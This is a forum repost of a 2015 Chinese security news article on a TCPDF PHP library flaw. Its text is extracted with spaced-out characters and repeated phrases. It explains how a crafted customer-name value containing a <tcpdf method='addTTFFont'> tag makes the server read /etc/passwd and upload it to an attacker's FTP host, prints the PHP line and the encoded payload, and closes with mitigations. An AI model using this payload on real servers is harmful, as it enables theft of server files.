搜索

[8797] 2015-03-27_黑客利用PDF生成器窃取WEB服务器上的文件

文档创建者：s7ckTeam
浏览次数：5
最后更新：2025-01-17
2015-03-27_黑客利用PDF生成器窃取WEB服务器上的文件 黑 客 利 用 P D F 生 成 器 窃 取 W E B 服 务 器 上 的 文 件 F r e e B u f   2 0 1 5 - 0 3 - 2 7 微 信 号 ： 微 信 号 ： f r e e b u f T C P D F   P D F 生 成 器 是 当 今 最 流 行 的 用 于 创 建 生 成 器 是 当 今 最 流 行 的 用 于 创 建 P D F 文 档 的 文 档 的 P H P 库 之 一 ， 同 时 也 是 当 今 最 热 门 的 开 源 项 目 之 一 。 它 每 天 拥 有 数 百 万 用 户 使 用 量 ， 其 载 体 一 般 为 库 之 一 ， 同 时 也 是 当 今 最 热 门 的 开 源 项 目 之 一 。 它 每 天 拥 有 数 百 万 用 户 使 用 量 ， 其 载 体 一 般 为 C M S 程 序 或 者 其 他 程 序 或 者 其 他 W E B 应 用 。 然 而 ， 应 用 。 然 而 ， 黑 客 利 用 黑 客 利 用 T C P D F 的 一 个 漏 洞 ， 可 以 轻 松 从 的 一 个 漏 洞 ， 可 以 轻 松 从 W E B 服 务 器 上 窃 取 文 件 。 服 务 器 上 窃 取 文 件 。 漏 洞 利 用 场 景 漏 洞 利 用 场 景 1 、 A l i c e 是 一 个 网 店 的 老 板 ， 她 会 发 给 客 户 一 张 P D F 文 档 作 为 收 据 ， 上 面 写 明 了 采 购 情 况 和 买 家 信 息 。 2 、 这 时 ， 有 个 叫 C h u c k 的 攻 击 者 注 意 到 ， A l i c e 忘 了 在 写 入 P D F 文 档 之 前 ， 给 “ 客 户 名 字 ” 这 一 栏 的 数 据 做 安 全 过 滤 。 3 、 C h u c k 通 过 研 究 发 现 ， 他 完 全 可 以 在 P D F 文 档 里 订 单 的 “ 客 户 名 字 ” 一 栏 做 文 章 ， 填 入 构 造 的 恶 意 p a y l o a d （ 攻 击 负 载 ） 。 在 P D F 文 档 生 成 时 会 执 行 恶 意 脚 本 ， 从 而 在 A l i c e 的 网 店 服 务 器 上 窃 取 文 件 。 攻 击 流 程 攻 击 流 程 那 么 为 什 么 会 出 现 以 上 的 场 景 呢 ？ 具 体 的 细 节 是 这 样 的 ： C h u c k 在 “ 客 户 名 字 ” 所 填 的 这 个 恶 意 P a y l o a d ， 它 试 图 告 诉 A l i c e 服 务 器 的 P D F 生 成 器 ， 希 望 在 此 处 添 加 一 个 服 务 器 本 身 所 带 的 字 体 ， 最 后 将 这 个 字 体 文 件 传 到 C h u c k 的 F T P 服 务 器 上 。 但 是 ， P D F 生 成 器 在 这 里 ， 并 没 有 对 这 个 所 谓 的 生 成 器 在 这 里 ， 并 没 有 对 这 个 所 谓 的 “ 字 体 字 体 ” 文 件 和 这 个 文 件 将 要 发 送 的 地 址 做 任 何 检 查 文 件 和 这 个 文 件 将 要 发 送 的 地 址 做 任 何 检 查 。 通 过 这 个 漏 洞 ， 通 过 这 个 漏 洞 ， C h u c k 可 以 窃 取 服 务 器 上 可 以 窃 取 服 务 器 上 P H P 权 限 下 任 权 限 下 任 何 可 读 的 文 件 。 何 可 读 的 文 件 。 理 解 理 解 T C P D F 为 了 设 计 一 个 T C P D F 模 式 的 P D F ， 方 法 有 很 多 。 最 常 见 的 办 法 就 是 在 里 面 创 建 一 个 简 单 的 H T M L 页 面 ， 往 T C P D F 里 面 加 入 H T M L 代 码 。 常 见 的 H T M L 标 签 都 会 被 解 析 ， 然 后 转 换 为 P D F 格 式 。 比 如 t a b l e 、 i m a g e ， 以 及 h e a d e r 。 不 过 ， 还 有 一 个 特 殊 标 签 < t c p d f   / > 默 认 也 是 被 启 用 了 的 。 这 是 一 个 被 T C P D F 类 调 用 方 法 的 特 殊 标 签 ， 该 元 素 示 例 如 下 ： < t c p d f   m e t h o d = " M e t h o d F r o m T C P D F C l a s s "   p a r a m s = " E s c a p e d P a r a m D a t a "   / > 如 果 这 个 H T M L 元 素 被 传 递 给 w r i t e H T M L ， 且 这 个 T C P D F 的 方 法 “ M e t h o d F r o m T C P D F C l a s s ” 有 效 ， T C P D F 会 结 合 其 他 参 数 执 行 这 个 特 殊 方 法 。 换 句 话 来 说 ， 如 果 一 个 用 户 把 没 有 经 过 检 查 的 数 据 传 递 给 w r i t e H T M L ， 用 户 就 可 能 偷 偷 调 用 运 行 T C P D F 类 的 某 种 方 法 。 T C P D F 类 的 这 些 方 法 由 此 可 能 被 黑 客 所 利 用 。 利 用 字 体 加 载 的 方 法 利 用 字 体 加 载 的 方 法 T C P D F 类 有 个 方 法 名 叫 a d d T T F F o n t ， 文 档 上 说 明 ： “ 它 可 以 转 换 字 体 ， 并 将 T r u e T y p e 或 者 T y p e 1 的 字 体 添 加 进 字 体 包 ” 。 当 然 ， 这 也 可 以 被 用 于 将 服 务 器 上 的 任 意 可 读 文 件 进 行 压 缩 ， 并 发 送 到 任 意 可 写 的 地 址 ， 自 然 这 地 址 也 可 以 是 黑 客 的 远 程 服 务 器 。 a d d T T F F o n t 方 法 有 着 下 述 的 关 联 参 数 ： 方 法 有 着 下 述 的 关 联 参 数 ： $ f o n t f i l e - - 服 务 器 上 需 要 提 取 的 任 意 可 写 文 件 的 路 径 。 $ f o n t t y p e - - 黑 客 需 要 设 置 的 T r u e T y p e $ o u t p a t h - - 文 件 输 出 的 地 址 ， 这 里 可 以 填 一 个 黑 客 的 F T P 地 址 。 想 要 生 成 一 个 t c p d f 元 素 ， 可 以 使 用 下 面 的 代 码 ：
$ p a r a m s   =   T C P D F _ S T A T I C : : s e r i a l i z e T C P D F t a g P a r a m e t e r s ( a r r a y ( ' / e t c / p a s s w d ' , ' T r u e T y p e ' , ' ' , 2 5 5 , u r l d e c o d e ( ' f t p : / / u s e r : p a s s @ h o s t / ' ) ) ) ; 生 成 结 果 如 下 ： < t c p d f   m e t h o d = " a d d T T F F o n t " p a r a m s = " % 5 B % 2 2 % 5 C % 2 F e t c % 5 C % 2 F p a s s w d % 2 2 % 2 C % 2 2 T r u e T y p e % 2 2 % 2 C % 2 2 % 2 2 % 2 C 2 5 5 % 2 C % 2 2 f t p % 3 A % 5 C % 2 F % 5 C % 2 F u s e r % 3 A p a s s % 4 0 h o s t % 5 C % 2 F % 2 2 % 5 D " / > 如 果 我 们 能 用 T C P D F 将 代 码 注 入 到 一 个 生 成 的 P D F 文 档 里 ， 服 务 器 在 生 成 解 析 时 ， 会 攫 取 本 机 / e t c / p a s s w d 的 内 容 ， 并 将 其 上 传 到 黑 客 的 F T P 服 务 器 上 。 T C P D F 的 安 全 的 安 全 现 在 大 家 需 要 做 的 就 是 升 级 T C P D F 到 最 新 版 本 。 当 然 咱 们 也 不 止 这 一 个 解 决 办 法 。 针 对 这 个 漏 洞 我 们 完 全 可 以 ： 在 p h p . i n i 里 ， 将 a l l o w _ u r l _ f o p e n 设 为 O f f 在 c o n f i g / t c p d f _ c o n f i g . p h p 里 ， 将 K _ T C P D F _ C A L L S _ I N _ H T M L 设 为 f a l s e 参 考 来 源 d e t e c t i f y ， 由 F r e e B u f 小 编 d a w n e r 翻 译 整 理 ， 转 载 请 注 明 来 自 F r e e B u f 黑 客 与 极 客 （ F r e e B u f . C O M ） 阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理